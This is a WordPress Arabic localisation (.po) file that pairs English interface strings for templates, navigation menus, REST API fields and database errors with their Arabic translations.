#: wp-admin/includes/class-wp-list-table.php:886
msgid "No comments"
msgstr "لا توجد تعليقات"

#: wp-includes/js/dist/block-library.js:30920 wp-admin/network/sites.php:122
#: wp-admin/network/sites.php:209
msgid "Confirm"
msgstr "تأكيد"

#. translators: %s: Database fields where the error occurred.
#: wp-includes/class-wpdb.php:2853
msgid "WordPress database error: Processing the values for the following fields failed: %s. The supplied values may be too long or contain invalid data."
msgstr "خطأ في قاعدة بيانات ووردبريس: فشلت معالجة قيم الحقول التالية: %s. قد تكون القيم المستخدمة طويلة جداً أو تحتوي على بيانات غير صالحة."

#: wp-includes/class-wpdb.php:3635
msgid "Could not strip invalid text."
msgstr "تعذر تجريد النص غير الصالح."

#: wp-includes/class-wpdb.php:3181
msgid "Could not retrieve table charset."
msgstr "تعذر استرداد جدول مجموعة الأحرف (charset)."

#. translators: %s: Database field where the error occurred.
#: wp-includes/class-wpdb.php:2847
msgid "WordPress database error: Processing the value for the following field failed: %s. The supplied value may be too long or contains invalid data."
msgstr "خطا في قاعدة بيانات ووردبريس: فشلت معالجة قيمة الحقل التالي: %s. قد تكون القيمة المستخدمة طويلة جداً أو تحتوي على بيانات غير صالحة."

#: wp-includes/class-wpdb.php:2309
msgid "WordPress database error: Could not perform query because it contains invalid data."
msgstr "خطأ في قاعدة بيانات ووردبريس:  تعذر تنفيذ عملية الاستعلام لأنها تحتوي على بيانات غير صالحة."

#: wp-includes/class-wp-taxonomy.php:608
msgid "Assign a parent term to create a hierarchy. The term Jazz, for example, would be the parent of Bebop and Big Band."
msgstr "تعيين مصطلح رئيسي لإنشاء تسلسل هرمي. على سبيل المثال مصطلح الـ Jazz، سيكون الرئيسي لـ Bebop و Big Band."

#: wp-includes/class-wp-taxonomy.php:609
msgid "The description is not prominent by default; however, some themes may show it."
msgstr "الوصف لا يظهر بشكل افتراضي لكن بعض القوالب قادرة على إظهاره."

#. translators: 1: 'wp-edit-post', 2: 'wp-edit-widgets', 3:
#. 'wp-customize-widgets'.
#: wp-includes/widgets.php:2098
msgid "\"%1$s\" style should not be enqueued together with the new widgets editor (%2$s or %3$s)."
msgstr "لا ينبغي وضع التنسيق \"%1$s\" في قائمة الانتظار سوياً مع المحرر الجديد للودجات (%2$s أو %3$s)."

#. translators: 1: 'wp-editor', 2: 'wp-edit-widgets', 3:
#. 'wp-customize-widgets'.
#: wp-includes/widgets.php:2085
msgid "\"%1$s\" script should not be enqueued together with the new widgets editor (%2$s or %3$s)."
msgstr "لا ينبغي وضع السكربت \"%1$s\" في قائمة الانتظار سوياً مع المحرر الجديد للودجات (%2$s أو %3$s)."

#: wp-includes/class-wp-taxonomy.php:606
msgid "The name is how it appears on your site."
msgstr "الاسم كما سيظهر في الموقع."

#: wp-includes/class-wp-taxonomy.php:607
msgid "The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens."
msgstr "&#8220;slug&#8221; هو الرابط \"اللطيف\" للاسم، وهو في العادة يتكون من حروف صغيرة ويحتوي على حروف، أرقام وشرطات فقط."

#: wp-includes/taxonomy.php:214
msgid "Template Part Areas"
msgstr "مناطق جزء القالب"

#: wp-includes/taxonomy.php:215
msgid "Template Part Area"
msgstr "منطقة جزء القالب"

#: wp-includes/script-loader.php:953
msgid "The server cannot process the image. This can happen if the server is busy or does not have enough resources to complete the task. Uploading a smaller image may help. Suggested maximum size is 2560 pixels."
msgstr "الخادم لم يتمكن من معالجة الصورة. هذا قد يحدث إذا كان الخادم مشغولاً أو لا يمتلك موارد كافية لإكمال المعالجة. رفع صورة أصغر قد يساعد. الحجم الأقصى المُقترح هو 2560 بكسل."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1587
msgid "Limit result set to users who have published posts."
msgstr "حصر مجموعة النتائج بالمستخدمين الذين نشروا مقالات."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1571
msgid "Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability."
msgstr "حصر مجموعة النتائج على المستخدمين الذين تطابق صلاحياتهم صلاحية واحدة على الأقل. يمكن استخدام قائمة csv أو صلاحية مفردة."

#: wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:138
msgid "Invalid URL"
msgstr "رابط غير صالح"

#: wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:46
msgid "The URL to process."
msgstr "عنوان URL المراد معالجته."

#: wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:210
msgid "Sorry, you are not allowed to process remote URLs."
msgstr "عذرًا، غير مسموح لك بمعالجة عناوين URL البعيدة."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:205
msgid "Sorry, you are not allowed to filter users by capability."
msgstr "عذراً، غير مسموح لك تصفية المستخدمين بواسطة صلاحية."

#: wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:270
msgid "Unable to retrieve body from response at this URL."
msgstr "تعذر استرداد الجسم من الاستجابة على عنوان URL هذا."

#. translators: %s: HTML meta tag.
#: wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:101
msgid "The content of the %s element from the URL."
msgstr "محتوى العنصر %s من عنوان URL."

#. translators: %s: HTML link tag.
#: wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:90
msgid "The favicon image link of the %s element from the URL."
msgstr "رابط صورة أيقونة المفضلة للعنصر %s من عنوان URL."

#: wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:260
msgid "URL not found. Response returned a non-200 status code for this URL."
msgstr "عنوان الـ URL غير موجود. قامت الاستجابة بإرجاع رمز حالة غير 200 لعنوان URL هذا."

#. translators: 1: HTML meta tag, 2: HTML meta tag.
#: wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:111
msgid "The Open Graph image link of the %1$s or %2$s element from the URL."
msgstr "رابط صورة Open Graph للعنصر %1$s أو %2$s من الرابط URL."

#. translators: %s: HTML title tag.
#: wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:80
msgid "The contents of the %s element from the URL."
msgstr "محتويات عنصر %s من عنوان URL."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:873
msgid "Version of the content block format used by the template."
msgstr "إصدار تنسيق مكوّن المحتوى المُستخدم بواسطة القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:868
msgid "Content for the template, as it exists in the database."
msgstr "محتوى القالب، كما هو موجود في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:887
msgid "Title for the template, as it exists in the database."
msgstr "عنوان القالب، كما  هو موجود في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:856
msgid "Source of a customized template"
msgstr "مصدر القالب المُخصص"

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:845
msgid "Type of template."
msgstr "نوع القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:934
msgid "Whether a template is a custom template."
msgstr "في ما لو كان القالب هو قالب مُخصص."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:925
msgid "The ID for the author of the template."
msgstr "مُعرِّف منشئ القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:801
msgid "Post type to get the templates for."
msgstr "نوع المحتوى للحصول على القوالب الخاصة به."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:797
msgid "Limit to the specified template part area."
msgstr "قم بالتقييد بمنطقة جزء القالب المُحدَّد."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:892
msgid "HTML title for the template, transformed for display."
msgstr "عنوان HTML للقالب، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:398
msgid "Whether to make the post type available for selection in navigation menus."
msgstr "امكانية جعل نوع المحتوى متاح للتحديد في قوائم التنقل."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:389
msgid "REST namespace route for the taxonomy."
msgstr "مسار مساحة اسم REST للفئة."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:943
msgid "Where the template part is intended for use (header, footer, etc.)"
msgstr "حيث يكون جزء القالب مخصصًا للاستخدام (الترويسة، والتذييل، وغير ذلك)."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:57
msgid "An alphanumeric identifier for the menu location."
msgstr "مُعرّف أبجدي رقمي لموضع القائمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:86
#: wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:129
msgid "Sorry, you are not allowed to view menu locations."
msgstr "عذرًا، غير مسموح لك استعراض مواضع القوائم."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:148
#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:497
#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:550
msgid "Invalid menu location."
msgstr "موضع قائمة غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:268
msgid "The name of the menu location."
msgstr "اسم موضع القائمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:274
msgid "The description of the menu location."
msgstr "الوصف لموضع القائمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:530
msgid "The locations assigned to the menu."
msgstr "المواضع المسندة للقائمة."

#. translators: %s: taxonomy name
#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:895
msgid "The terms assigned to the object in the %s taxonomy."
msgstr "العناصر المُسندة للكائن في الفئة %s."

#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:386
msgid "The menu cannot be deleted."
msgstr "لا يمكن حذف القائمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:388
msgid "The visibility settings for the post type."
msgstr "إعدادات الظهور لنوع المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:564
msgid "Whether to automatically add top level pages to this menu."
msgstr "ما إذا كان سيتم تلقائيًا إضافة صفحات المستوى الأعلى إلى هذه القائمة أم لا."

#. translators: %s: force=true
#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:376
msgid "Menus do not support trashing. Set '%s' to delete."
msgstr "نقل القوائم الى سلة المهملات غير مدعوم. استخدم '%s' للحذف."

#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:103
msgid "Sorry, you are not allowed to view menus."
msgstr "عذرًا، غير مسموح لك استعراض القوائم."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:280
msgid "The ID of the assigned menu."
msgstr "مُعرِّف القائمة المُسندة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:394
msgid "Whether to generate a default UI for managing this post type."
msgstr "ما إذا كان سيتم إنشاء واجهة مستخدم افتراضية لإدارة هذا النوع من المحتوى."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:382
msgid "REST route's namespace for the post type."
msgstr "مسار مساحة الاسم REST لنوع المحتوى."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:748
msgid "The singular label used to describe this type of menu item."
msgstr "التسمية المفردة المستخدمة لوصف هذا النوع من عناصر القائمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:846
msgid "The URL to which this menu item points."
msgstr "الرابط الذي يشير إليه عنصر القائمة هذا."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:819
msgid "The type of object originally represented, such as \"category\", \"post\", or \"attachment\"."
msgstr "نوع العنصر الذي تم تمثيله في الأصل، مثل \"تصنيف\" أو \"مقالة\" أو \"مرفق\"."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:836
msgid "The target attribute of the link element for this menu item."
msgstr "خاصية الهدف (target) لعنصر الرابط الخاصة بعنصر القائمة هذا."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:828
msgid "The database ID of the original object this menu item represents, for example the ID for posts or the term_id for categories."
msgstr "مُعرِّف قاعدة بيانات العنصر الأصلي الذي يُمثِّله عنصر القائمة هذا، على سبيل المثال ID للمقالات أو term_id للتصنيفات."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:883
msgid "Whether the menu item represents an object that no longer exists."
msgstr "سواء أكان عنصر القائمة يمثِّل عنصرًا لم يعد موجودًا بعد الآن أم لا."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:869
msgid "The XFN relationship expressed in the link of this menu item."
msgstr "علاقة الـ XFN المُعبر عنها في رابط عنصر القائمة هذا."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:771
msgid "The ID for the parent of the object."
msgstr "المعرّف الرئيسي لهذا الكائن."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:755
msgid "The family of objects originally represented, such as \"post_type\" or \"taxonomy\"."
msgstr "عائلة الكائنات الممثلة أصلا، مثل نوع المقالة \"post_type\" أو الفئة \"taxonomy\"."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:763
msgid "A named status for the object."
msgstr "حالة مُسماة للكائن."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:802
msgid "The description of this menu item."
msgstr "الوصف لعنصر القائمة هذا."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:779
msgid "Text for the title attribute of the link element for this menu item."
msgstr "نص خاصية العنوان لرابط عنصر القائمة هذا."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:811
msgid "The DB ID of the nav_menu_item that is this item's menu parent, if any, otherwise 0."
msgstr "مُعرِّف قاعدة بيانات nav_menu_item الذي يمثل أب هذا العنصر في القائمة، إن وجد، وإلا 0."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:788
msgid "Class names for the link element of this menu item."
msgstr "أسماء الفئة لعنصر الرابط الخاصة بعنصر القائمة هذا."

#. translators: %s: force=true
#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:286
msgid "Menu items do not support trashing. Set '%s' to delete."
msgstr "النقل لسلة المهملات غير مدعوم على عناصر القائمة، استخدم '%s' للحذف."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:690
msgid "Get linked object."
msgstr "الحصول على الكائن المرتبط."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:725
msgid "Title for the object, as it exists in the database."
msgstr "عنوان الكائن، كما هو موجود في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:730
msgid "HTML title for the object, transformed for display."
msgstr "عنوان (HTML) للكائن، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:564
#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:637
msgid "Sorry, you are not allowed to access the global styles on this site."
msgstr "عذرًا، غير مسموح لك بالوصول إلى التنسيقات العامة على هذا الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:449
msgid "The title is required when using a custom menu item type."
msgstr "العنوان مطلوب عند استخدام نوع مُخصص من عنصر قائمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:452
msgid "The url is required when using a custom menu item type."
msgstr "عنوان الـ URL مطلوب عند استخدام نوع مُخصص من عنصر قائمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:519
msgid "Global settings."
msgstr "الإعدادات العامة."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:51
#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:77
msgid "The theme identifier"
msgstr "مُعرف القالب"

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:282
msgid "The date when the block was last updated."
msgstr "التاريخ عند إجراء آخر تحديث للمكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:514
msgid "Global styles."
msgstr "تنسيقات عامة."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:139
msgid "No global styles config exist with that id."
msgstr "لا توجد تنسيقات عامة متوفر لها إعدادات مع هذا المُعرّف."

#: wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:62
msgid "Sorry, you are not allowed to export templates and template parts."
msgstr "عذرًا، غير مسموح لك بتصدير القوالب وأجزاء القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:508
msgid "ID of global styles config."
msgstr "مُعرِّف إعداد التنسيقات العامة."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:524
msgid "Title of the global styles variation."
msgstr "عنوان مجموعة التنسيقات العامة."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:530
msgid "Title for the global styles variation, as it exists in the database."
msgstr "عنوان مجموعة التنسيقات العامة، كما هو موجود في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:181
msgid "Sorry, you are not allowed to view this global style."
msgstr "عذرًا، غير مسموح لك بعرض هذا التنسيق العام."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:173
#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:236
msgid "Sorry, you are not allowed to edit this global style."
msgstr "عذرًا، غير مسموح لك بتحرير هذا التنسيق العام."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:578
msgid "Public facing and editor style handles."
msgstr "مقابض التنسيقات الموجّهة للعامة والمُحرر."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:548
msgid "Public facing and editor script handles."
msgstr "مقابض البرامج النصية الموجّهة للعامة والمُحرر."

#: wp-includes/post.php:3154
msgctxt "file type group"
msgid "Video"
msgstr "فيديو"

#: wp-includes/post.php:3145
msgctxt "file type group"
msgid "Audio"
msgstr "صوت"

#: wp-includes/post.php:487
msgctxt "Navigation Menu"
msgid "Add New"
msgstr "إضافة جديد"

#: wp-includes/post.php:502
msgid "Navigation Menus list"
msgstr "لائحة قوائم التنقل"

#: wp-includes/post.php:497
msgid "Navigation Menu archives"
msgstr "أرشيف قائمة التنقل"

#: wp-includes/post.php:494
msgid "Parent Navigation Menu:"
msgstr "قائمة التنقل الرئيسية:"

#: wp-includes/post.php:493
msgid "Search Navigation Menus"
msgstr "البحث في قوائم التنقل"

#: wp-includes/post.php:491
msgid "View Navigation Menu"
msgstr "عرض قائمة التنقل"

#: wp-includes/post.php:488
msgid "Add New Navigation Menu"
msgstr "أضف قائمة تنقل جديدة"

#: wp-includes/post.php:490
msgid "Edit Navigation Menu"
msgstr "تحرير قائمة التنقّل"

#: wp-includes/post.php:498
msgid "Insert into Navigation Menu"
msgstr "إدراج ضمن قائمة التنقّل"

#: wp-includes/post.php:489
msgid "New Navigation Menu"
msgstr "قائمة تنقّل جديدة"

#: wp-includes/post.php:504
msgid "Navigation menus that can be inserted into your site."
msgstr "قوائم التنقّل التي يمكنك إدراجها ضمن موقعك."

#: wp-includes/post.php:495
msgid "No Navigation Menu found."
msgstr "لم يتم العثور على أيّ قائمة تنقل."

#: wp-includes/post.php:496
msgid "No Navigation Menu found in Trash."
msgstr "لم يتم العثور على أيّ قائمة تنقل في سلة المهملات."

#: wp-includes/post.php:501
msgid "Navigation Menus list navigation"
msgstr "التنقل في قائمة قوائم التنقل"

#: wp-includes/post.php:499
msgid "Uploaded to this Navigation Menu"
msgstr "تم الرفع إلى قائمة التنقل هذه"

#: wp-includes/post.php:500
msgid "Filter Navigation Menu list"
msgstr "تصفية قائمة قوائم التنقل"

#: wp-includes/post.php:405 wp-includes/js/dist/edit-site.js:5778
#: wp-includes/js/dist/editor.js:6038 wp-admin/menu.php:211
msgid "Template Parts"
msgstr "أجزاء القالب"

#: wp-includes/post.php:400
msgctxt "Template Part"
msgid "Add New"
msgstr "أضف جديد"

#: wp-includes/post.php:401
msgid "Add New Template Part"
msgstr "إضافة جزء قالب جديد"

#: wp-includes/post.php:402
msgid "New Template Part"
msgstr "جزء قالب جديد"

#: wp-includes/post.php:403
msgid "Edit Template Part"
msgstr "تحرير جزء القالب"

#: wp-includes/post.php:404
msgid "View Template Part"
msgstr "عرض جزء القالب"

#: wp-includes/post.php:406
msgid "Search Template Parts"
msgstr "البحث في أجزاء القالب"

#: wp-includes/post.php:407
msgid "Parent Template Part:"
msgstr "جزء القالب الأب:"

#: wp-includes/post.php:408
msgid "No template parts found."
msgstr "لم يتم العثور على أجزاء القالب."

#: wp-includes/post.php:409
msgid "No template parts found in Trash."
msgstr "لم يتم العثور على أجزاء القالب في سلة المهملات."

#: wp-includes/post.php:410
msgid "Template part archives"
msgstr "أرشيفات أجزاء القالب"

#: wp-includes/post.php:411
msgid "Insert into template part"
msgstr "إدراج في جزء القالب"

#: wp-includes/post.php:412
msgid "Uploaded to this template part"
msgstr "المرفوعة إلى جزء القالب هذا"

#: wp-includes/post.php:413
msgid "Filter template parts list"
msgstr "تصفية قائمة أجزاء القالب"

#: wp-includes/post.php:414
msgid "Template parts list navigation"
msgstr "التنقل بين قائمة أجزاء القالب"

#: wp-includes/post.php:415
msgid "Template parts list"
msgstr "قائمة أجزاء القالب"

#: wp-includes/post.php:417
msgid "Template parts to include in your templates."
msgstr "أجزاء القالب لتضمينها في قوالبك."

#: wp-includes/post.php:339
msgctxt "post type singular name"
msgid "Template"
msgstr "قالب"

#: wp-includes/post.php:399
msgctxt "post type singular name"
msgid "Template Part"
msgstr "جزء القالب"

#: wp-includes/post.php:398
msgctxt "post type general name"
msgid "Template Parts"
msgstr "أجزاء القالب"

#: wp-includes/post.php:456
msgctxt "post type general name"
msgid "Global Styles"
msgstr "التنسيقات العامة"

#: wp-includes/post.php:457
msgid "Global styles to include in themes."
msgstr "التنسيقات العامة لتضمينها في القوالب."

#: wp-includes/post.php:486
msgctxt "post type singular name"
msgid "Navigation Menu"
msgstr "قائمة التنقّل"

#: wp-includes/post.php:485
msgctxt "post type general name"
msgid "Navigation Menus"
msgstr "قوائم التنقّل"

#: wp-includes/post.php:338
msgctxt "post type general name"
msgid "Templates"
msgstr "قوالب"

#: wp-includes/media.php:4614
#: wp-admin/includes/class-wp-media-list-table.php:157
msgctxt "media items"
msgid "Unattached"
msgstr "غير مرفق"

#. translators: %s: Link to the login page.
#: wp-includes/ms-functions.php:529 wp-includes/user.php:3362
msgid "<strong>Error:</strong> This email address is already registered. <a href=\"%s\">Log in</a> with this address or choose another one."
msgstr "<strong>خطأ:</strong> عنوان البريد الإلكتروني هذا مُسجَّل بالفعل. <a href=\"%s\">قم بتسجيل الدخول</a> باستخدام هذا العنوان أو اختر عنوانًا آخر."

#. translators: %s: Path to the JSON file.
#: wp-includes/functions.php:4542
msgid "File %s doesn't exist!"
msgstr "الملف %s غير موجود!"

#. translators: 1: Option name, 2: Error code.
#: wp-includes/formatting.php:4994
msgid "Could not sanitize the %1$s option. Error code: %2$s"
msgstr "تعذر تطهير الخيار %1$s. رمز الخطأ: %2$s"

#. translators: 1: Path to the JSON file, 2: Error message.
#: wp-includes/functions.php:4556
msgid "Error when decoding a JSON file at path %1$s: %2$s"
msgstr "حدث خطأ أثناء فك ترميز ملف JSON في المسار ⁦%1$s⁩: %2$s"

#. translators: 1: Function name, 2: A variable type, like "boolean" or
#. "integer".
#: wp-includes/functions.php:8381
msgid "%1$s only accepts a non-empty path string, received %2$s."
msgstr "لا تقبل الدالة %1$s سوى مسار كسلسلة نصية غير فارغة، المُعطى %2$s."

#: wp-includes/functions.php:2871 wp-includes/script-loader.php:945
#: wp-admin/includes/file.php:942
msgid "Sorry, you are not allowed to upload this file type."
msgstr "عذرًا، غير مسموح لك رفع هذا النوع من الملفات."

#: wp-includes/blocks/post-navigation-link.php:76
msgctxt "label before the title of the previous post"
msgid "Previous:"
msgstr "السابق:"

#: wp-includes/blocks/post-navigation-link.php:76
msgctxt "label before the title of the next post"
msgid "Next:"
msgstr "التالي:"

#: wp-includes/blocks/post-navigation-link.php:34
msgctxt "label for previous post link"
msgid "Previous"
msgstr "السابق"

#: wp-includes/blocks/post-navigation-link.php:34
msgctxt "label for next post link"
msgid "Next"
msgstr "التالي"

#: wp-includes/blocks/navigation.php:796
#: wp-includes/js/dist/block-library.js:30600
msgid "Close menu"
msgstr "إغلاق القائمة"

#. translators: Accessibility text. %s: Parent page title.
#: wp-includes/blocks/navigation-submenu.php:181
#: wp-includes/blocks/page-list.php:192
msgid "%s submenu"
msgstr "القائمة الفرعية لـ %s"

#: wp-includes/blocks/navigation.php:795
#: wp-includes/js/dist/block-library.js:30586
msgid "Open menu"
msgstr "فتح القائمة"

#: wp-includes/customize/class-wp-customize-theme-control.php:260
#: wp-admin/includes/theme.php:1030
msgid "This theme doesn't support Customizer."
msgstr "هذا القالب لا يدعم التخصيص."

#. translators: %s: Template part slug.
#. translators: %s: Template part slug
#: wp-includes/blocks/template-part.php:117
#: wp-includes/js/dist/block-library.js:55060
msgid "Template part has been deleted or is unavailable: %s"
msgstr "لقد تم حذف جزء القالب أو أنه غير متاح: %s"

#: wp-includes/comment.php:3634
msgid "<strong>Error:</strong> Please fill the required fields."
msgstr "<strong>خطأ:</strong> يرجى تعبئة الحقول المطلوبة."

#. translators: %s: URL to the themes page (also it activates the theme).
#: wp-includes/customize/class-wp-customize-theme-control.php:267
#: wp-admin/includes/theme.php:1036
msgid "However, you can still <a href=\"%s\">activate this theme</a>, and use the Site Editor to customize it."
msgstr "على الرغم من ذلك، لا يزال بإمكانك <a href=\"%s\">تفعيل هذا القالب</a>، واستخدام محرِّر الموقع لتخصيصه."

#: wp-includes/class-wp-block-styles-registry.php:85
msgid "Block style name must not contain any spaces."
msgstr "اسم مكوّن التنسيق يجب ألا يحتوي أي فراغ"

#: wp-includes/block-template-utils.php:177
msgctxt "Template name"
msgid "404"
msgstr "404"

#: wp-includes/block-template-utils.php:161
msgctxt "Template name"
msgid "Tag"
msgstr "وسم"

#: wp-includes/block-template-utils.php:1211
msgid "Zip Export not supported."
msgstr "تصدير ZIP غير مدعوم."

#: wp-includes/block-template-utils.php:169
msgctxt "Template name"
msgid "Search"
msgstr "بحث"

#: wp-includes/blocks/calendar.php:22
msgid "The calendar block is hidden because there are no published posts."
msgstr "تم إخفاء مكوِّن التقويم بسبب عدم وجود أي مقالات منشورة."

#: wp-includes/blocks/navigation-link.php:306
msgid "A link to a post format"
msgstr "رابط لصيغة مقالة"

#: wp-includes/blocks/navigation-link.php:305
msgid "Post Format Link"
msgstr "رابط صيغة المقالة"

#. translators: %1$s: Template area type, %2$s: the uncategorized template area
#. value.
#: wp-includes/block-template-utils.php:215
msgid "\"%1$s\" is not a supported wp_template_part area value and has been added as \"%2$s\"."
msgstr "\"⁦%1$s⁩\" ليس قيمة مدعومة لمُعامل المنطقة (area) في wp_template_part وقد تمت إضافتها كـ \"⁦%2$s⁩\"."

#: wp-includes/block-template-utils.php:1220
msgid "Unable to open export file (archive) for writing."
msgstr "تعذر فتح ملف التصدير (الأرشيف) للكتابة."

#: wp-includes/block-template-utils.php:141
msgctxt "Template name"
msgid "Archive"
msgstr "الأرشيف"

#: wp-includes/block-template-utils.php:157
msgctxt "Template name"
msgid "Date"
msgstr "تاريخ"

#: wp-includes/block-template-utils.php:153
msgctxt "Template name"
msgid "Taxonomy"
msgstr "فئة"

#: wp-includes/block-template-utils.php:149
msgctxt "Template name"
msgid "Category"
msgstr "تصنيف"

#: wp-includes/block-template-utils.php:137
msgctxt "Template name"
msgid "Page"
msgstr "صفحة"

#: wp-includes/block-template-utils.php:145
msgctxt "Template name"
msgid "Author"
msgstr "الكاتب"

#: wp-includes/block-template-utils.php:129
msgctxt "Template name"
msgid "Singular"
msgstr "منفرد"

#: wp-includes/block-template-utils.php:125
msgctxt "Template name"
msgid "Front Page"
msgstr "الصفحة الأمامية"

#: wp-includes/block-template-utils.php:117
msgctxt "Template name"
msgid "Index"
msgstr "Index"

#: wp-includes/block-template-utils.php:87
msgid "The Footer template defines a page area that typically contains site credits, social links, or any other combination of blocks."
msgstr "قالب التذييل يحدد منطقة الصفحة التي تحتوي عادةً على اعتمادات الموقع أو الروابط الاجتماعية أو أي مجموعة أخرى من المكوّنات."

#: wp-includes/block-template-utils.php:78
msgid "The Header template defines a page area that typically contains a title, logo, and main navigation."
msgstr "قالب الترويسة يحدد منطقة الصفحة التي تحتوي عادة على عنوان، شعار، والتنقل الرئيسي."

#: wp-includes/block-template-utils.php:121
msgctxt "Template name"
msgid "Home"
msgstr "الرئيسية"

#: wp-includes/admin-bar.php:438
msgid "Edit site"
msgstr "تحرير الموقع"

#: wp-includes/block-template-utils.php:69
msgid "General templates often perform a specific role like displaying post content, and are not tied to any particular area."
msgstr "تقوم القوالب العامة عادة بدور مُحدد كعرض محتوى المقالات، ولا ترتبط بأي منطقة معيّنة."

#: wp-includes/theme.json
msgctxt "Duotone name"
msgid "Blue and orange"
msgstr "أزرق وبرتقالي"

#: wp-includes/theme.json
msgctxt "Duotone name"
msgid "Magenta and yellow"
msgstr "أحمر أرجواني وأصفر"

#: wp-includes/theme.json
msgctxt "Duotone name"
msgid "Purple and yellow"
msgstr "أرجواني وأصفر"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "White"
msgstr "أبيض"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Black"
msgstr "أسود"

#: wp-includes/theme.json
msgctxt "Duotone name"
msgid "Purple and green"
msgstr "أرجواني وأخضر"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Vivid cyan blue"
msgstr "أزرق سماوي زاهي"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Pale cyan blue"
msgstr "أزرق سماوي شاحب"

